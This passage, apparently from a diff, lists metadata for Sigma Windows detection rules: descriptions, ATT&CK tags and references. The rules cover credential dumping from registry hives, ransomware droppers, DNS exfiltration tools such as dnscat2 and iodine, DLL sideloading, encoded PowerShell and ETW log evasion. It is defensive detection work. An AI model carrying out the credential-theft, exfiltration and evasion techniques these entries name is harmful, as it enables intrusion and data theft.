"author": "Sreeman", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Credential Acquisition via Registry Hive Dumping", - "uuid": "4d6c9da1-318b-4edf-bcea-b6c93fa98fd0", - "value": "Credential Acquisition via Registry Hive Dumping", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_acquisition_registry_hive_dumping.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ], - "creation_date": "2022/10/04", - "filename": "proc_creation_win_credential_acquisition_registry_hive_dumping.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Archer malware invocation via rundll32", - "uuid": "3d4aebe0-6d29-45b2-a8a4-3dfde586a26d", - "value": "Fireball Archer Install", - "meta": { - "refs": [ - "https://www.virustotal.com/en/file/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022/analysis/", - "https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_fireball.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2017/06/03", - "filename": "proc_creation_win_crime_fireball.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific process characteristics of Maze ransomware word document droppers", - "uuid": "29fd07fc-9cfd-4331-b7fd-cc18dfa21052", - "value": "Maze Ransomware", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://app.any.run/tasks/51e7185c-52d7-4efb-ac0d-e86340053473/", - "https://app.any.run/tasks/65a79440-373a-4725-8d74-77db9f2abda4/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_maze_ransomware.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002", - "attack.t1047", - "attack.impact", - "attack.t1490" - ], - "creation_date": "2020/05/08", - "filename": "proc_creation_win_crime_maze_ransomware.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific process characteristics of Snatch ransomware word document droppers", - "uuid": "5325945e-f1f0-406e-97b8-65104d393fff", - "value": "Snatch Ransomware", - "meta": { - "refs": [ - "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_snatch_ransomware.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204" - ], - "creation_date": "2020/08/26", - "filename": "proc_creation_win_crime_snatch_ransomware.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Scripts that shutdown the system immediately and reboot them in safe mode are unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects command line parameters or strings often used by crypto miners", - "uuid": "66c3b204-9f88-4d0a-a7f7-8a57d521ca55", - "value": "Windows Crypto Mining Indicators", - "meta": { - "refs": [ - "https://www.poolwatch.io/coin/monero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crypto_mining_monero.yml" - ], - "tags": [ - "attack.impact", - "attack.t1496" - ], - "creation_date": "2021/10/26", - "filename": "proc_creation_win_crypto_mining_monero.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of crypto miners", - "Some build frameworks" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a curl process start on Windows, which indicates a file download from a remote location or a simple web request to a remote server", - "uuid": "bbeaed61-1990-4773-bf57-b81dbad7db2d", - "value": "Curl Usage on Windows", - "meta": { - "refs": [ - "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/07/05", - "filename": "proc_creation_win_curl_download.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server's Unified Messaging service", - "uuid": "cd479ccc-d8f0-4c66-ba7d-e06286f3f887", - "value": "CVE-2021-26857 Exchange Exploitation", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cve_2021_26857_msexchange.yml" - ], - "tags": [ - "attack.t1203", - "attack.execution", - "cve.2021.26857" - ], - "creation_date": "2021/03/03", - "filename": "proc_creation_win_cve_2021_26857_msexchange.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", - "uuid": "6f3e2987-db24-4c78-a860-b4f4095a7095", - "value": "Data Compressed - rar.exe", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_data_compressed_with_rar.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ], - "creation_date": "2019/10/21", - "filename": "proc_creation_win_data_compressed_with_rar.yml", - "author": "Timur Zinniatullin, E.M. Anhaus, oscd.community", - "level": "low", - "falsepositive": [ - "Highly likely if rar is a default archiver in the monitored environment." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Deletes the Windows systemstatebackup using wbadmin.exe.\nThis technique is used by numerous ransomware families.\nThis may only be successful on server platforms that have Windows Backup enabled.\n", - "uuid": "89f75308-5b1b-4390-b2d8-d6b2340efaf8", - "value": "Wbadmin Delete Systemstatebackup", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_delete_systemstatebackup.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2021/12/13", - "filename": "proc_creation_win_delete_systemstatebackup.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.HxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\". Its path includes a version number, e.g., \"C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\\HxTsr.exe\". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe", - "uuid": "4e762605-34a8-406d-b72e-c1a089313320", - "value": "Detecting Fake Instances Of Hxtsr.exe", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_detecting_fake_instances_of_hxtsr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2020/04/17", - "filename": "proc_creation_win_detecting_fake_instances_of_hxtsr.yml", - "author": "Sreeman", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that doesnt exist. This non-existent DLL file is named \"ShellChromeAPI.dll\". \nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", - "uuid": "e173ad47-4388-4012-ae62-bd13f71c18a8", - "value": "DLL Sideloading via DeviceEnroller.exe", - "meta": { - "refs": [ - "https://mobile.twitter.com/0gtweet/status/1564131230941122561", - "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_deviceenroller_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/08/29", - "filename": "proc_creation_win_deviceenroller_evasion.yml", - "author": "@gott_cyber", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of the Dinject PowerShell cradle based on the specific flags", - "uuid": "d78b5d61-187d-44b6-bf02-93486a80de5a", - "value": "DInject PowerShell Cradle CommandLine Flags", - "meta": { - "refs": [ - "https://github.com/snovvcrash/DInjector", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dinjector.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ], - "creation_date": "2021/12/07", - "filename": "proc_creation_win_dinjector.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of DirLister.exe", - "uuid": "b4dc61f5-6cce-468e-a608-b48b469feaa2", - "value": "Launch DirLister Executable", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ], - "creation_date": "2022/08/20", - "filename": "proc_creation_win_dirlister.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when attackers use \"sc.exe\" or the powershell \"Set-Service\" cmdlet to change the startup type of a service to \"disabled\"", - "uuid": "85c312b7-f44d-4a51-a024-d671c40b49fc", - "value": "Sc Or Set-Service Cmdlet Execution to Disable Services", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_disable_service.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/01", - "filename": "proc_creation_win_disable_service.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Administrators settings a service to disable via script or cli for testing purposes" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential", - "uuid": "213d6a77-3d55-4ce8-ba74-fcfef741974e", - "value": "Discover Private Keys", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_discover_private_keys.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.004" - ], - "creation_date": "2021/07/20", - "filename": "proc_creation_win_discover_private_keys.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of Microsoft Defender's CLI process (MpCmdRun.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", - "uuid": "7002aa10-b8d4-47ae-b5ba-51ab07e228b9", - "value": "DLL Sideloading by Microsoft Defender", - "meta": { - "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_defender.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/08/01", - "filename": "proc_creation_win_dll_sideload_defender.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", - "uuid": "ebea773c-a8f1-42ad-a856-00cb221966e8", - "value": "DLL Sideloading by VMware Xfer Utility", - "meta": { - "refs": [ - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/08/02", - "filename": "proc_creation_win_dll_sideload_vmware_xfer.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.", - "uuid": "b11d75d6-d7c1-11ea-87d0-0242ac130003", - "value": "DNSCat2 Powershell Implementation Detection Via Process Creation", - "meta": { - "refs": [ - "https://github.com/lukebaggett/dnscat2-powershell", - "https://blu3-team.blogspot.com/2019/08/powershell-dns-c2-notes.html", - "https://ragged-lab.blogspot.com/2020/06/it-is-always-dns-powershell-edition.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscat2_powershell_implementation.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071", - "attack.t1071.004", - "attack.t1001.003", - "attack.t1041" - ], - "creation_date": "2020/08/08", - "filename": "proc_creation_win_dnscat2_powershell_implementation.yml", - "author": "Cian Heasley", - "level": "high", - "falsepositive": [ - "Other powershell scripts that call nslookup.exe" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects an attempt to add a potentially crafted DLL as a plug in of the DNS Service.\nDetects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain.\nDNS zones used to host the DNS records for a particular domain\n", - "uuid": "b6457d63-d2a2-4e29-859d-4e7affc153d1", - "value": "Discovery/Execution via dnscmd.exe", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd", - "https://docs.microsoft.com/en-us/azure/dns/dns-zones-records", - "https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1543.003" - ], - "creation_date": "2022/07/31", - "filename": "proc_creation_win_dnscmd_discovery.yml", - "author": "@gott_cyber", - "level": "medium", - "falsepositive": [ - "Legitimate administration use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Well-known DNS Exfiltration tools execution", - "uuid": "98a96a5a-64a0-4c42-92c5-489da3866cb0", - "value": "DNS Exfiltration and Tunneling Tools Execution", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.001", - "attack.command_and_control", - "attack.t1071.004", - "attack.t1132.001" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_dns_exfiltration_tools_execution.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate usage of iodine or dnscat2 \u2014 DNS Exfiltration tools (unlikely)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", - "uuid": "f63b56ee-3f79-4b8a-97fb-5c48007e8573", - "value": "DNS ServerLevelPluginDll Install", - "meta": { - "refs": [ - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_serverlevelplugindll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.t1112" - ], - "creation_date": "2017/05/08", - "filename": "proc_creation_win_dns_serverlevelplugindll.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "dotnet.exe will execute any DLL and execute unsigned code", - "uuid": "d80d5c81-04ba-45b4-84e4-92eba40e0ad3", - "value": "Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", - "https://twitter.com/_felamos/status/1204705548668555264", - "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ], - "creation_date": "2020/10/18", - "filename": "proc_creation_win_dotnet.yml", - "author": "Beyu Denis, oscd.community", - "level": "medium", - "falsepositive": [ - "System administrator Usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of Dsacls to grant over permissive permissions", - "uuid": "01c42d3c-242d-4655-85b2-34f1739632f7", - "value": "Abusing Permissions Using Dsacls", - "meta": { - "refs": [ - "https://ss64.com/nt/dsacls.html", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_win_dsacls_abuse_permissions.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate administrators granting over permissive permissions to users" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible password spraying attempts using Dsacls", - "uuid": "bac9fb54-2da7-44e9-988f-11e9a5edbc0c", - "value": "Password Spraying Attempts Using Dsacls", - "meta": { - "refs": [ - "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", - "https://ss64.com/nt/dsacls.html", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_win_dsacls_password_spray.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of dsacls to bind to an LDAP session" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images", - "uuid": "43e32da2-fdd0-4156-90de-50dfd62636f9", - "value": "Dism Remove Online Package", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism", - "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/01/16", - "filename": "proc_creation_win_dsim_remove.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of the filename DumpStack.log to evade Microsoft Defender", - "uuid": "4f647cfa-b598-4e12-ad69-c68dd16caef8", - "value": "DumpStack.log Defender Evasion", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1479094189048713219", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpstack_log_evasion.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/01/06", - "filename": "proc_creation_win_dumpstack_log_evasion.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects email exfiltration via powershell cmdlets", - "uuid": "312d0384-401c-4b8b-abdf-685ffba9a332", - "value": "Email Exifiltration Via Powershell", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", - "https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_email_exfil_via_powershell.yml" - ], - "tags": [ - "attack.exfiltration" - ], - "creation_date": "2022/09/09", - "filename": "proc_creation_win_email_exfil_via_powershell.yml", - "author": "Nasreddine Bencherchali (rule), Azure-Sentinel (idea)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects events that appear when a user click on a link file with a powershell command in it", - "uuid": "30e92f50-bb5a-4884-98b5-d20aa80f3d7a", - "value": "Hidden Powershell in Link File Pattern", - "meta": { - "refs": [ - "https://www.x86matthew.com/view_post?id=embed_exe_lnk", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_embed_exe_lnk.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/02/06", - "filename": "proc_creation_win_embed_exe_lnk.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate commands in .lnk files" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a base64 encoded FromBase64String keyword in a process command line", - "uuid": "fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c", - "value": "Encoded FromBase64String", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_frombase64string.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/08/24", - "filename": "proc_creation_win_encoded_frombase64string.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a base64 encoded IEX command string in a process command line", - "uuid": "88f680b8-070e-402c-ae11-d2914f2257f1", - "value": "Encoded IEX", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_iex.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/08/23", - "filename": "proc_creation_win_encoded_iex.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects processes that query known 3rd party registry keys that holds credentials via commandline", - "uuid": "87a476dc-0079-4583-a985-dee7a20a03de", - "value": "Enumeration for 3rd Party Creds From CLI", - "meta": { - "refs": [ - "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", - "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt", - "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password", - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_cli.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.002" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_win_enumeration_for_credentials_cli.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n", - "uuid": "e0b0c2ab-3d52-46d9-8cb7-049dc775fbd1", - "value": "Enumeration for Credentials in Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_in_registry.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.002" - ], - "creation_date": "2021/12/20", - "filename": "proc_creation_win_enumeration_for_credentials_in_registry.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe", - "uuid": "6a69f62d-ce75-4b57-8dce-6351eb55b362", - "value": "Esentutl Steals Browser Information", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", - "https://redcanary.com/threat-detection-report/threats/qbot/", - "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml" - ], - "tags": [ - "attack.collection", - "attack.t1005" - ], - "creation_date": "2022/02/13", - "filename": "proc_creation_win_esentutl_webcache.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", - "uuid": "41421f44-58f9-455d-838a-c398859841d4", - "value": "COMPlus_ETWEnabled Command Line Arguments", - "meta": { - "refs": [ - "https://twitter.com/_xpn_/status/1268712093928378368", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", - "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://bunnyinside.com/?term=f71e8cb9c76a", - "http://managed670.rssing.com/chan-5590147/all_p1.html", - "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_modification_cmdline.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ], - "creation_date": "2020/05/02", - "filename": "proc_creation_win_etw_modification_cmdline.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.", - "uuid": "a238b5d0-ce2d-4414-a676-7a531b3d13d6", - "value": "Disable of ETW Trace", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", - "https://abuse.io/lockergoga.txt", - "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_trace_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1562.006", - "car.2016-04-002" - ], - "creation_date": "2019/03/22", - "filename": "proc_creation_win_etw_trace_evasion.yml", - "author": "@neu5ron, Florian Roth, Jonhnathan Ribeiro, 